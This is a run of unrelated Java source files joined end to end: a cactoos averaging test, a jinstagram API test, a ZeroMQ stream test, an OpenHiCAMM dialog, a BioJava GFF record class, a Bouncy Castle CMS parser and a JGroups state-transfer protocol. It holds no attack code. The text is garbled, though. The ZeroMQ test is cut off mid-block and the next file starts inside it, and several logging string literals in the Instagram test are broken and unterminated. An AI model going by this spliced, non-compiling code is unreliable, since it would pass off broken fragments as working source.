package org.cactoos.scalar; import java.util.Collections; import org.cactoos.Scalar; import org.cactoos.iterable.IterableOf; import org.cactoos.list.ListOf; import org.hamcrest.MatcherAssert; import org.hamcrest.Matchers; import org.junit.Test; /** * Test case for {@link AvgOf}. * * @author Vseslav Sekorin (vssekorin@gmail.com) * @version $Id$ * @since 0.24 * @checkstyle JavadocMethodCheck (500 lines) * @checkstyle MagicNumberCheck (500 lines) */ public final class AvgOfTest { @Test public void withEmptyCollection() { MatcherAssert.assertThat( new AvgOf(Collections.emptyList()).longValue(), Matchers.equalTo(0L) ); } @Test public void withIntegerCollection() { MatcherAssert.assertThat( new AvgOf( new ListOf<>(1, 2, 3, 4).toArray(new Integer[4]) ).intValue(), Matchers.equalTo(2) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1, 2, 3, 4).toArray(new Integer[4]) ).longValue(), Matchers.equalTo(2L) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1, 2, 3, 4).toArray(new Integer[4]) ).doubleValue(), Matchers.equalTo(2.5d) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1, 2, 3, 4).toArray(new Integer[4]) ).floatValue(), Matchers.equalTo(2.5f) ); } @Test public void withLongCollection() { MatcherAssert.assertThat( new AvgOf( new ListOf<>(1L, 2L, 3L, 4L).toArray(new Long[4]) ).intValue(), Matchers.equalTo(2) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1L, 2L, 3L, 4L).toArray(new Long[4]) ).longValue(), Matchers.equalTo(2L) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1L, 2L, 3L, 4L).toArray(new Long[4]) ).doubleValue(), Matchers.equalTo(2.5d) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1L, 2L, 3L, 4L).toArray(new Long[4]) ).floatValue(), Matchers.equalTo(2.5f) ); } @Test public void withDoubleCollection() { MatcherAssert.assertThat( new AvgOf( new ListOf<>(1.0d, 2.0d, 3.0d, 4.0d).toArray(new Double[4]) ).intValue(), Matchers.equalTo(2) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1.0d, 2.0d, 3.0d, 4.0d).toArray(new Double[4]) ).longValue(), Matchers.equalTo(2L) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1.0d, 2.0d, 3.0d, 4.0d).toArray(new Double[4]) ).doubleValue(), Matchers.equalTo(2.5d) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1.0d, 2.0d, 3.0d, 4.0d).toArray(new Double[4]) ).floatValue(), Matchers.equalTo(2.5f) ); } @Test public void withFloatCollection() { MatcherAssert.assertThat( new AvgOf( new ListOf<>(1.0f, 2.0f, 3.0f, 4.0f).toArray(new Float[4]) ).intValue(), Matchers.equalTo(2) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1.0f, 2.0f, 3.0f, 4.0f).toArray(new Float[4]) ).longValue(), Matchers.equalTo(2L) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1.0f, 2.0f, 3.0f, 4.0f).toArray(new Float[4]) ).doubleValue(), Matchers.equalTo(2.5d) ); MatcherAssert.assertThat( new AvgOf( new ListOf<>(1.0f, 2.0f, 3.0f, 4.0f).toArray(new Float[4]) ).floatValue(), Matchers.equalTo(2.5f) ); } @Test public void withScalars() { MatcherAssert.assertThat( new AvgOf( () -> 1L, () -> 2L, () -> 10L ).longValue(), Matchers.equalTo(4L) ); MatcherAssert.assertThat( new AvgOf( new IterableOf<Scalar<Number>>(() -> 1L, () -> 2L, () -> 10L) ).longValue(), Matchers.equalTo(4L) ); } @Test public void withDoubleMaxValue() { MatcherAssert.assertThat( new AvgOf( new ListOf<>(Double.MAX_VALUE, Double.MAX_VALUE) .toArray(new Double[2]) ).doubleValue(), Matchers.equalTo(Double.MAX_VALUE) ); } @Test public void withDoubleMinValue() { MatcherAssert.assertThat( new AvgOf( new ListOf<>(Double.MIN_VALUE, Double.MIN_VALUE) .toArray(new Double[2]) ).doubleValue(), Matchers.equalTo(Double.MIN_VALUE) ); } @Test public void withDoublePositiveInfinity() { MatcherAssert.assertThat( new AvgOf( new ListOf<>(Double.POSITIVE_INFINITY, Double.POSITIVE_INFINITY) .toArray(new Double[2]) ).doubleValue(), Matchers.equalTo(Double.NaN) ); } }
package org.jinstagram; import com.google.gson.Gson; import org.jinstagram.auth.model.Token; import org.jinstagram.entity.common.Location; import org.jinstagram.entity.common.Meta; import org.jinstagram.entity.locations.LocationSearchFeed; import org.jinstagram.entity.tags.TagMediaFeed; import org.jinstagram.entity.users.basicinfo.UserInfo; import org.jinstagram.entity.users.basicinfo.UserInfoData; import org.jinstagram.entity.users.feed.MediaFeed; import org.jinstagram.entity.users.feed.MediaFeedData; import org.jinstagram.entity.users.feed.UserFeed; import org.jinstagram.entity.users.feed.UserFeedData; import org.jinstagram.exceptions.InstagramBadRequestException; import org.jinstagram.exceptions.InstagramException; import org.jinstagram.exceptions.InstagramRateLimitException; import org.junit.Assert; import org.junit.Before; import org.junit.Ignore; import org.junit.Test; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import java.util.ArrayList; import java.util.List; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotEquals; public class InstagramTest { private final Logger logger = LoggerFactory.getLogger(InstagramTest.class); private static final String IG_TOKEN_SYSTEM_PROPERTY = "IG_ACCESS_TOKEN"; private Instagram instagram = null; @Before public void beforeMethod() { org.junit.Assume.assumeTrue(isAccessTokenAvailable()); } private boolean isAccessTokenAvailable() { if (System.getenv(IG_TOKEN_SYSTEM_PROPERTY) != null) { logger.info("Access token found..."); String ACCESS_TOKEN = System.getenv(IG_TOKEN_SYSTEM_PROPERTY); Token token = new Token(ACCESS_TOKEN, null); instagram = new Instagram(token); return true; } else { logger.error("No access token found..."); } return false; } @Test(expected = InstagramBadRequestException.class) public void testInvalidAccessToken() throws Exception { Instagram instagram = new Instagram(new Token("InvalidAccessToken", null)); instagram.getPopularMedia(); } @Test @Ignore public void testInvalidRequest() throws Exception { instagram.getRecentMediaTags("test/u10191"); } @Test public void testCurrentUserInfo() throws Exception { UserInfo userInfo = instagram.getCurrentUserInfo(); UserInfoData userInfoData = userInfo.getData(); logger.info("Username : " + userInfoData.getUsername()); logger.info("Full name : " + userInfoData.getFullName()); logger.info("Bio : " + userInfoData.getBio()); } @Test @Ignore //cause getPopularMedia is deprecated public void testPopularMedia() throws Exception { logger.info("Printing a list of popular media..."); MediaFeed popularMedia = instagram.getPopularMedia(); printMediaFeedList(popularMedia.getData()); } @Test public void searchLocation() throws Exception { double latitude = 51.5072; double longitude = 0.1275; LocationSearchFeed locationSearchFeed = instagram.searchLocation(latitude, longitude); List<Location> locationList = locationSearchFeed.getLocationList(); logger.info("Printing Location Details for Latitude " + latitude + " and longitude " + longitude); for (Location location : locationList) { logger.info(" logger.info("Id : " + location.getId()); logger.info("Name : " + location.getName()); logger.info("Latitude : " + location.getLatitude()); logger.info("Longitude : " + location.getLatitude()); logger.info(" } } @Test public void userFollowedBy() throws Exception { // instagram user id String userId = "25025320"; UserFeed feed1 = instagram.getUserFollowedByList(userId); assertEquals(50, feed1.getUserList().size()); UserFeed feed2 = instagram.getUserFollowedByListNextPage(userId, feed1.getPagination().getNextCursor()); assertEquals(50, feed2.getUserList().size()); assertNotEquals(feed1.getUserList().get(0).getId(), feed2.getUserList().get(1).getId()); } @Test public void userFollower() throws Exception { // instagram user id String userId = "25025320"; UserFeed feed1 = instagram.getUserFollowList(userId); assertEquals(50, feed1.getUserList().size()); UserFeed feed2 = instagram.getUserFollowListNextPage(userId, feed1.getPagination().getNextCursor()); assertEquals(50, feed2.getUserList().size()); assertNotEquals(feed1.getUserList().get(0).getId(), feed2.getUserList().get(1).getId()); } @Test public void searchUser() throws Exception { String query = "sachin"; UserFeed userFeed = instagram.searchUser(query); for (UserFeedData userFeedData : userFeed.getUserList()) { System.out.println("\n\n**************************************************"); System.out.println("Id : " + userFeedData.getId()); System.out.println("Username : " + userFeedData.getUserName()); System.out.println("Name : " + userFeedData.getFullName()); System.out.println("Bio : " + userFeedData.getBio()); System.out.println("Profile Picture URL : " + userFeedData.getProfilePictureUrl()); System.out.println("Website : " + userFeedData.getWebsite()); System.out.println("**************************************************\n\n"); } } @Test public void getMediaByTags() throws Exception { String tagName = "london"; TagMediaFeed recentMediaTags = instagram.getRecentMediaTags(tagName); printMediaFeedList(recentMediaTags.getData()); } @Test public void getMediaByTagsSpecialCharacters() throws Exception { String tagName = "london"; TagMediaFeed recentMediaTags = instagram.getRecentMediaTags(tagName); printMediaFeedList(recentMediaTags.getData()); } @Test public void testGetAllUserPhotos() throws Exception { getUserPhotos("18428658"); } private List<MediaFeedData> getUserPhotos(String userId) throws Exception { // Don't get all the photos, just break the page count on 5 final int countBreaker = 5; MediaFeed recentMediaFeed = instagram.getRecentMediaFeed(userId); List<MediaFeedData> userPhotos = new ArrayList<MediaFeedData>(); for (MediaFeedData mediaFeedData : recentMediaFeed.getData()) { userPhotos.add(mediaFeedData); } int count = 0; while (recentMediaFeed.getPagination() != null) { count++; if (count == countBreaker) { System.out.println("Too many photos to get!!! Breaking the loop."); break; } try { recentMediaFeed = instagram.getRecentMediaNextPage(recentMediaFeed.getPagination()); for (MediaFeedData mediaFeedData : recentMediaFeed.getData()) { userPhotos.add(mediaFeedData); } } catch (Exception ex) { break; } } return userPhotos; } private void printMediaFeedList(List<MediaFeedData> mediaFeedDataList) { for (MediaFeedData mediaFeedData : mediaFeedDataList) { logger.info(" logger.info("Id : " + mediaFeedData.getId()); logger.info("Image Filter : " + mediaFeedData.getImageFilter()); logger.info("Link : " + mediaFeedData.getLink()); logger.info(" } } @Test(expected = InstagramRateLimitException.class) public void testCheckRateLimitException() throws InstagramException { int responseCode = 429; String responseBody = createRateLimitMeta(429); instagram.handleInstagramError(responseCode, responseBody, null); } private String createRateLimitMeta(int code) { Meta meta = new Meta(); meta.setCode(code); meta.setErrorMessage("message"); meta.setErrorType("type"); return new Gson().toJson(meta); } @Test public void testGetUsersRecentMedia() throws Exception{ MediaFeed mf = instagram.getUsersRecentMedia(); List<MediaFeedData> mediaFeedDataList = mf.getData(); printMediaFeedList(mediaFeedDataList); } @Test public void testGetUsersRecentMediaWithParams() throws Exception{ MediaFeed mf = instagram.getUsersRecentMedia(2, null, null); List<MediaFeedData> mediaFeedDataList = mf.getData(); Assert.assertEquals(mediaFeedDataList.size(), 2); printMediaFeedList(mediaFeedDataList); } }
package org.zeromq; import org.junit.Test; import java.io.IOException; import java.util.Optional; import static org.junit.Assert.assertArrayEquals; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; /** * @author Isa Hekmatizadeh */ public class TestSocketStreams { @Test public void testRecvStream() throws IOException { int port = Utils.findOpenPort(); try ( final ZMQ.Context ctx = new ZMQ.Context(1); final ZMQ.Socket pull = ctx.socket(SocketType.PULL); final ZMQ.Socket push = ctx.socket(SocketType.PUSH)) {
package org.bdgp.OpenHiCAMM.Modules; import javax.swing.JPanel; import org.bdgp.OpenHiCAMM.DoubleSpinner; import org.bdgp.OpenHiCAMM.ImageLog.ImageLogRunner; import org.bdgp.OpenHiCAMM.Logger; import org.bdgp.OpenHiCAMM.DB.Image; import mmcorej.TaggedImage; import net.miginfocom.swing.MigLayout; import javax.swing.JLabel; import javax.swing.JButton; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; @SuppressWarnings("serial") public class ROIFinderDialog extends JPanel { DoubleSpinner pixelSizeUm; DoubleSpinner minRoiArea; DoubleSpinner hiResPixelSizeUm; public static final double DEFAULT_PIXEL_SIZE_UM = 0.48; public static final double DEFAULT_HIRES_PIXEL_SIZE_UM = 0.1253; public static final double DEFAULT_MIN_ROI_AREA = 300000.0; private JLabel lblMinRoiArea; private JLabel lblHiresPixelSize; private JButton btnRoiTest; public ROIFinderDialog(final ROIFinder roiFinder) { this.setLayout(new MigLayout("", "[][grow]", "[][][][]")); lblMinRoiArea = new JLabel("Min ROI Area"); add(lblMinRoiArea, "cell 0 0"); minRoiArea = new DoubleSpinner(); minRoiArea.setValue(new Double(DEFAULT_MIN_ROI_AREA)); add(minRoiArea, "cell 1 0"); JLabel lblPixelSizeum = new JLabel("Pixel Size (um)"); add(lblPixelSizeum, "cell 0 1"); pixelSizeUm = new DoubleSpinner(); pixelSizeUm.setValue(new Double(DEFAULT_PIXEL_SIZE_UM)); add(pixelSizeUm, "cell 1 1"); lblHiresPixelSize = new JLabel("HiRes Pixel Size (um)"); add(lblHiresPixelSize, "cell 0 2"); hiResPixelSizeUm = new DoubleSpinner(); hiResPixelSizeUm.setValue(new Double(DEFAULT_HIRES_PIXEL_SIZE_UM)); add(hiResPixelSizeUm, "cell 1 2"); btnRoiTest = new JButton("ROI Test"); btnRoiTest.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { try { roiFinder.script.getMMCore().snapImage(); } catch (Exception e1) {throw new RuntimeException(e1);} TaggedImage taggedImage; try { taggedImage = roiFinder.script.getMMCore().getTaggedImage(); } catch (Exception e1) {throw new RuntimeException(e1);} ImageLogRunner imageLogRunner = new ImageLogRunner("Test"); Logger logger = Logger.create(null, "ROIFinder Test", null); Image image = new Image(); roiFinder.process(image, taggedImage, logger, imageLogRunner, (Double)minRoiArea.getValue()); imageLogRunner.display(); } }); add(btnRoiTest, "cell 0 3"); } }
/* -*- c-basic-offset: 2; indent-tabs-mode: nil -*- */ package org.biojava.bio.program.gff; import java.util.Iterator; import java.util.List; import java.util.Map; import org.biojava.bio.seq.StrandedFeature; import org.biojava.utils.SmallMap; /** * A no-frills implementation of a <span class="type">GFFRecord</span>. * * @author Matthew Pocock * @author Greg Cox * @author Aroul Ramadass * @author Len Trigg */ public class SimpleGFFRecord implements GFFRecord { /** * The sequence name. */ private String seqName; /** * The source. */ private String source; /** * The feature type. */ private String feature; /** * The start coordinate. */ private int start; /** * The end coordinate. */ private int end; /** * The feature score. */ private double score; /** * The feature strand. */ private StrandedFeature.Strand strand; /** * The feature frame. */ private int frame; /** * The group-name -> <span class="type">List</span> &lt;attribute&gt; * <span class="type">Map</span> */ private Map groupAttributes; /** * The comment. */ private String comment; /** * Create a new SimpleGFFRecord from GFFRecord object * * @param rec - A GFFRecord object */ public SimpleGFFRecord(GFFRecord rec) { this.seqName = rec.getSeqName(); this.source = rec.getSource(); this.feature = rec.getFeature(); this.start = rec.getStart(); this.end = rec.getEnd(); this.score = rec.getScore(); this.strand = rec.getStrand(); this.frame = rec.getFrame(); this.comment = rec.getComment(); this.groupAttributes = new SmallMap(rec.getGroupAttributes()); } public SimpleGFFRecord( String seqName, String source, String feature, int start, int end, double score, StrandedFeature.Strand strand, int frame, String comment, Map groupAttributes ) { this.seqName = seqName; this.source = source; this.feature = feature; this.start = start; this.end = end; this.score = score; this.strand = strand; this.frame = frame; this.comment = comment; this.groupAttributes = new SmallMap(groupAttributes); } /** * Create a new SimpleGFFRecord with values set to null or zero */ public SimpleGFFRecord() { this.seqName = null; this.source = null; this.feature = null; this.start = 0; this.end = 0; this.score = 0; this.strand = null; this.frame = 0; this.comment = null; this.groupAttributes = null; } /** * Set the sequence name to <span class="arg">seqName</span>. * * @param seqName the new name */ public void setSeqName(String seqName) { this.seqName = seqName; } public String getSeqName() { return seqName; } /** * Set the feature source to <span class="arg">source</source>. * * @param source the new source */ public void setSource(String source) { this.source = source; } public String getSource() { return source; } /** * Set the feature type to <span class="arg">type</source>. * * @param feature the new feature type */ public void setFeature(String feature) { this.feature = feature; } public String getFeature() { return feature; } /** * Set the start coordinate to <span class="arg">start</source>. * * @param start the new start coordinate */ public void setStart(int start) { this.start = start; } public int getStart() { return start; } /** * Set the end coordinate to <span class="arg">end</source>. * * @param end the new end coordinate */ public void setEnd(int end) { this.end = end; } public int getEnd() { return end; } /** * Set the score to <span class="arg">score</source>. * <p> * The score must be a double, inclusive of <code>0</code>. * If you wish to indicate that there is no score, then use * <span class="type">GFFRecord</span>.<span class="const">NO_SCORE</span>. * * @param score the new score */ public void setScore(double score) { this.score = score; } public double getScore() { return score; } /** * Set the strand to <span class="arg">strand</source>. * * @param strand the new Strand */ public void setStrand(StrandedFeature.Strand strand) { this.strand = strand; } public StrandedFeature.Strand getStrand() { return strand; } public void setFrame(int frame) { if (frame != GFFTools.NO_FRAME && (frame < 0 || frame > 2)) { throw new IllegalArgumentException("Illegal frame: " + frame); } this.frame = frame; } public int getFrame() { return frame; } /** * Replace the group-attribute <span class="type">Map</span> with * <span class="arg">ga</span>. * <p> * To efficiently add a key, call <span class="method">getGroupAttributes()</span> * and modify the <span class="type">Map</span>. * * @param ga the new group-attribute <span class="type">Map</span> */ public void setGroupAttributes(Map ga) { this.groupAttributes = ga; } public Map getGroupAttributes() { if (groupAttributes == null) { groupAttributes = new SmallMap(); } return groupAttributes; } /** * Set the comment to <span class="arg">comment</source>. * <p> * If you set it to null, then the comment for this line will be ignored. * * @param the new comment */ public void setComment(String comment) { this.comment = comment; } public String getComment() { return comment; } /** * Create a <span class="type">String</span> representation of * <span class="arg">attMap</span>. * * <span class="arg">attMap</span> is assumed to contain * <span class="type">String</span> keys and * <span class="type">List</span> values. * * @param attMap the <span class="type">Map</span> of attributes and value lists * @return a GFF attribute/value <span class="type">String</span> */ public static String stringifyAttributes(Map attMap) { StringBuffer sBuff = new StringBuffer(); Iterator ki = attMap.keySet().iterator(); while (ki.hasNext()) { String key = (String) ki.next(); sBuff.append(key); List values = (List) attMap.get(key); for (Iterator vi = values.iterator(); vi.hasNext();) { String value = (String) vi.next(); if (isText(value)) { sBuff.append(" \"" + value + "\""); } else { sBuff.append(" " + value); } } sBuff.append(";"); if (ki.hasNext()) { sBuff.append(" "); } } return sBuff.substring(0); } /** * Returns true if a string is "textual". The GFF Spec says that * "textual" values must be quoted. This implementation just tests * if the string contains letters or whitespace. * * @param value a <code>String</code> value. * @return true if value is "textual". */ private static boolean isText(String value) { for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); if (Character.isLetter(c) || Character.isWhitespace(c)) { return true; } } return false; } }
package org.bouncycastle.cms; import org.bouncycastle.asn1.ASN1EncodableVector; import org.bouncycastle.asn1.ASN1OctetStringParser; import org.bouncycastle.asn1.ASN1OutputStream; import org.bouncycastle.asn1.ASN1SequenceParser; import org.bouncycastle.asn1.ASN1Set; import org.bouncycastle.asn1.ASN1SetParser; import org.bouncycastle.asn1.DEREncodable; import org.bouncycastle.asn1.DERSet; import org.bouncycastle.asn1.DERTags; import org.bouncycastle.asn1.cms.AttributeTable; import org.bouncycastle.asn1.cms.EncryptedContentInfoParser; import org.bouncycastle.asn1.cms.EnvelopedDataParser; import org.bouncycastle.asn1.cms.KEKRecipientInfo; import org.bouncycastle.asn1.cms.KeyAgreeRecipientInfo; import org.bouncycastle.asn1.cms.KeyTransRecipientInfo; import org.bouncycastle.asn1.cms.PasswordRecipientInfo; import org.bouncycastle.asn1.cms.RecipientInfo; import org.bouncycastle.asn1.x509.AlgorithmIdentifier; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.security.AlgorithmParameters; import java.security.NoSuchProviderException; import java.util.ArrayList; import java.util.Enumeration; import java.util.Iterator; import java.util.List; /** * Parsing class for an CMS Enveloped Data object from an input stream. * <p> * Note: that because we are in a streaming mode only one recipient can be tried and it is important * that the methods on the parser are called in the appropriate order. * </p> * <p> * Example of use - assuming the first recipient matches the private key we have. * <pre> * CMSEnvelopedDataParser ep = new CMSEnvelopedDataParser(inputStream); * * RecipientInformationStore recipients = ep.getRecipientInfos(); * * Collection c = recipients.getRecipients(); * Iterator it = c.iterator(); * * if (it.hasNext()) * { * RecipientInformation recipient = (RecipientInformation)it.next(); * * CMSTypedStream recData = recipient.getContentStream(privateKey, "BC"); * * processDataStream(recData.getContentStream()); * } * </pre> * Note: this class does not introduce buffering - if you are processing large files you should create * the parser with: * <pre> * CMSEnvelopedDataParser ep = new CMSEnvelopedDataParser(new BufferedInputStream(inputStream, bufSize)); * </pre> * where bufSize is a suitably large buffer size. */ public class CMSEnvelopedDataParser extends CMSContentInfoParser { RecipientInformationStore _recipientInfoStore; EnvelopedDataParser _envelopedData; private AlgorithmIdentifier _encAlg; private AttributeTable _unprotectedAttributes; private boolean _attrNotRead; public CMSEnvelopedDataParser( byte[] envelopedData) throws CMSException, IOException { this(new ByteArrayInputStream(envelopedData)); } public CMSEnvelopedDataParser( InputStream envelopedData) throws CMSException, IOException { super(envelopedData); this._attrNotRead = true; this._envelopedData = new EnvelopedDataParser((ASN1SequenceParser)_contentInfo.getContent(DERTags.SEQUENCE)); // load the RecipientInfoStore ASN1SetParser s = _envelopedData.getRecipientInfos(); List baseInfos = new ArrayList(); DEREncodable entry; while ((entry = s.readObject()) != null) { baseInfos.add(RecipientInfo.getInstance(entry.getDERObject())); } // read the encrypted content info EncryptedContentInfoParser encInfo = _envelopedData.getEncryptedContentInfo(); this._encAlg = encInfo.getContentEncryptionAlgorithm(); // prime the recipients List infos = new ArrayList(); Iterator it = baseInfos.iterator(); InputStream dataStream = ((ASN1OctetStringParser)encInfo.getEncryptedContent(DERTags.OCTET_STRING)).getOctetStream(); while (it.hasNext()) { RecipientInfo info = (RecipientInfo)it.next(); if (info.getInfo() instanceof KeyTransRecipientInfo) { infos.add(new KeyTransRecipientInformation( (KeyTransRecipientInfo)info.getInfo(), _encAlg, dataStream)); } else if (info.getInfo() instanceof KEKRecipientInfo) { infos.add(new KEKRecipientInformation( (KEKRecipientInfo)info.getInfo(), _encAlg, dataStream)); } else if (info.getInfo() instanceof KeyAgreeRecipientInfo) { infos.add(new KeyAgreeRecipientInformation( (KeyAgreeRecipientInfo)info.getInfo(), _encAlg, dataStream)); } else if (info.getInfo() instanceof PasswordRecipientInfo) { infos.add(new PasswordRecipientInformation( (PasswordRecipientInfo)info.getInfo(), _encAlg, dataStream)); } } _recipientInfoStore = new RecipientInformationStore(infos); } /** * return the object identifier for the content encryption algorithm. */ public String getEncryptionAlgOID() { return _encAlg.getObjectId().toString(); } /** * return the ASN.1 encoded encryption algorithm parameters, or null if * there aren't any. */ public byte[] getEncryptionAlgParams() { try { return encodeObj(_encAlg.getParameters()); } catch (Exception e) { throw new RuntimeException("exception getting encryption parameters " + e); } } /** * Return an AlgorithmParameters object giving the encryption parameters * used to encrypt the message content. * * @param provider the provider to generate the parameters for. * @return the parameters object, null if there is not one. * @throws CMSException if the algorithm cannot be found, or the parameters can't be parsed. * @throws NoSuchProviderException if the provider cannot be found. */ public AlgorithmParameters getEncryptionAlgorithmParameters( String provider) throws CMSException, NoSuchProviderException { return CMSEnvelopedHelper.INSTANCE.getEncryptionAlgorithmParameters(getEncryptionAlgOID(), getEncryptionAlgParams(), provider); } /** * return a store of the intended recipients for this message */ public RecipientInformationStore getRecipientInfos() { return _recipientInfoStore; } /** * return a table of the unprotected attributes indexed by * the OID of the attribute. * @exception IOException */ public AttributeTable getUnprotectedAttributes() throws IOException { if (_unprotectedAttributes == null && _attrNotRead) { ASN1SetParser set = _envelopedData.getUnprotectedAttrs(); _attrNotRead = false; if (set != null) { ASN1EncodableVector v = new ASN1EncodableVector(); DEREncodable o; while ((o = set.readObject()) != null) { ASN1SequenceParser seq = (ASN1SequenceParser)o; v.add(seq.getDERObject()); } _unprotectedAttributes = new AttributeTable(new DERSet(v)); } } return _unprotectedAttributes; } private byte[] encodeObj( DEREncodable obj) throws IOException { if (obj != null) { ByteArrayOutputStream bOut = new ByteArrayOutputStream(); ASN1OutputStream aOut = new ASN1OutputStream(bOut); aOut.writeObject(obj); return bOut.toByteArray(); } return null; } }
// $Id: STATE_TRANSFER.java,v 1.30 2006/03/15 15:20:42 belaban Exp $ package org.jgroups.protocols.pbcast; import org.jgroups.*; import org.jgroups.stack.Protocol; import org.jgroups.stack.StateTransferInfo; import org.jgroups.util.Streamable; import org.jgroups.util.Util; import java.io.*; import java.util.*; /** * New STATE_TRANSFER protocol based on PBCAST. Compared to the one in ./protocols, it doesn't * need a QUEUE layer above it. A state request is sent to a chosen member (coordinator if * null). That member makes a copy D of its current digest and asks the application for a copy of * its current state S. Then the member returns both S and D to the requester. The requester * first sets its digest to D and then returns the state to the application. * @author Bela Ban */ public class STATE_TRANSFER extends Protocol { Address local_addr=null; final Vector members=new Vector(); long state_id=1; // used to differentiate between state transfers (not currently used) final Set state_requesters=new HashSet(); // requesters of state (usually just 1, could be more) Digest digest=null; final HashMap map=new HashMap(); // to store configuration information long start, stop; // to measure state transfer time int num_state_reqs=0; long num_bytes_sent=0; double avg_state_size=0; final static String name="STATE_TRANSFER"; /** All protocol names have to be unique ! */ public String getName() { return name; } public int getNumberOfStateRequests() {return num_state_reqs;} public long getNumberOfStateBytesSent() {return num_bytes_sent;} public double getAverageStateSize() {return avg_state_size;} public Vector requiredDownServices() { Vector retval=new Vector(); retval.addElement(new Integer(Event.GET_DIGEST_STATE)); retval.addElement(new Integer(Event.SET_DIGEST)); return retval; } public void resetStats() { super.resetStats(); num_state_reqs=0; num_bytes_sent=0; avg_state_size=0; } public boolean setProperties(Properties props) { super.setProperties(props); if(props.size() > 0) { log.error("the following properties are not recognized: " + props); return false; } return true; } public void init() throws Exception { map.put("state_transfer", Boolean.TRUE); map.put("protocol_class", getClass().getName()); } public void start() throws Exception { passUp(new Event(Event.CONFIG, map)); } public void up(Event evt) { Message msg; StateHeader hdr; switch(evt.getType()) { case Event.BECOME_SERVER: break; case Event.SET_LOCAL_ADDRESS: local_addr=(Address)evt.getArg(); break; case Event.TMP_VIEW: case Event.VIEW_CHANGE: handleViewChange((View)evt.getArg()); break; case Event.GET_DIGEST_STATE_OK: synchronized(state_requesters) { if(digest != null) { if(warn) log.warn("GET_DIGEST_STATE_OK: existing digest is not null, overwriting it !"); } digest=(Digest)evt.getArg(); if(log.isDebugEnabled()) log.debug("GET_DIGEST_STATE_OK: digest is " + digest + "\npassUp(GET_APPLSTATE)"); passUp(new Event(Event.GET_APPLSTATE)); } return; case Event.MSG: msg=(Message)evt.getArg(); if(!(msg.getHeader(name) instanceof StateHeader)) break; hdr=(StateHeader)msg.removeHeader(name); switch(hdr.type) { case StateHeader.STATE_REQ: handleStateReq(hdr.sender); break; case StateHeader.STATE_RSP: handleStateRsp(hdr.sender, hdr.my_digest, msg.getBuffer()); break; default: if(log.isErrorEnabled()) log.error("type " + hdr.type + " not known in StateHeader"); break; } return; } passUp(evt); } public void down(Event evt) { byte[] state; Address target, requester; StateTransferInfo info; StateHeader hdr; Message state_req, state_rsp; switch(evt.getType()) { case Event.TMP_VIEW: case Event.VIEW_CHANGE: handleViewChange((View)evt.getArg()); break; // generated by JChannel.getState(). currently, getting the state from more than 1 mbr is not implemented case Event.GET_STATE: info=(StateTransferInfo)evt.getArg(); if(info.target == null) { target=determineCoordinator(); } else { target=info.target; if(target.equals(local_addr)) { if(log.isErrorEnabled()) log.error("GET_STATE: cannot fetch state from myself !"); target=null; } } if(target == null) { if(log.isDebugEnabled()) log.debug("GET_STATE: first member (no state)"); passUp(new Event(Event.GET_STATE_OK, null)); } else { state_req=new Message(target, null, null); state_req.putHeader(name, new StateHeader(StateHeader.STATE_REQ, local_addr, state_id++, null)); if(log.isDebugEnabled()) log.debug("GET_STATE: asking " + target + " for state"); // suspend sending and handling of mesage garbage collection gossip messages, // fixes bugs #943480 and #938584). Wake up when state has been received if(log.isDebugEnabled()) log.debug("passing down a SUSPEND_STABLE event"); passDown(new Event(Event.SUSPEND_STABLE, new Long(info.timeout))); start=System.currentTimeMillis(); passDown(new Event(Event.MSG, state_req)); } return; // don't pass down any further ! case Event.GET_APPLSTATE_OK: state=(byte[])evt.getArg(); synchronized(state_requesters) { if(state_requesters.size() == 0) { if(warn) log.warn("GET_APPLSTATE_OK: received application state, but there are no requesters !"); return; } if(digest == null) if(warn) log.warn("GET_APPLSTATE_OK: received application state, " + "but there is no digest !"); else digest=digest.copy(); if(stats) { num_state_reqs++; if(state != null) num_bytes_sent+=state.length; avg_state_size=num_bytes_sent / num_state_reqs; } for(Iterator it=state_requesters.iterator(); it.hasNext();) { requester=(Address)it.next(); state_rsp=new Message(requester, null, state); // put the state into state_rsp.buffer hdr=new StateHeader(StateHeader.STATE_RSP, local_addr, 0, digest); state_rsp.putHeader(name, hdr); if(trace) log.trace("sending state to " + requester + " (" + state.length + " bytes)"); passDown(new Event(Event.MSG, state_rsp)); } digest=null; state_requesters.clear(); } return; // don't pass down any further ! } passDown(evt); // pass on to the layer below us } /** Return the first element of members which is not me. Otherwise return null. */ private Address determineCoordinator() { Address ret=null; synchronized(members) { if(members != null && members.size() > 1) { for(int i=0; i < members.size(); i++) if(!local_addr.equals(members.elementAt(i))) return (Address)members.elementAt(i); } } return ret; } private void handleViewChange(View v) { Vector new_members=v.getMembers(); synchronized(members) { members.clear(); members.addAll(new_members); } } /** * If a state transfer is in progress, we don't need to send a GET_APPLSTATE event to the application, but * instead we just add the sender to the requester list so it will receive the same state when done. If not, * we add the sender to the requester list and send a GET_APPLSTATE event up. */ private void handleStateReq(Object sender) { if(sender == null) { if(log.isErrorEnabled()) log.error("sender is null !"); return; } synchronized(state_requesters) { if(state_requesters.size() > 0) { // state transfer is in progress, digest was requested state_requesters.add(sender); // only adds if not yet present } else { state_requesters.add(sender); digest=null; if(log.isDebugEnabled()) log.debug("passing down GET_DIGEST_STATE"); passDown(new Event(Event.GET_DIGEST_STATE)); } } } /** Set the digest and the send the state up to the application */ void handleStateRsp(Object sender, Digest digest, byte[] state) { if(digest == null) { if(warn) log.warn("digest received from " + sender + " is null, skipping setting digest !"); } else passDown(new Event(Event.SET_DIGEST, digest)); // set the digest (e.g. in NAKACK) stop=System.currentTimeMillis(); // resume sending and handling of message garbage collection gossip messages, // fixes bugs #943480 and #938584). 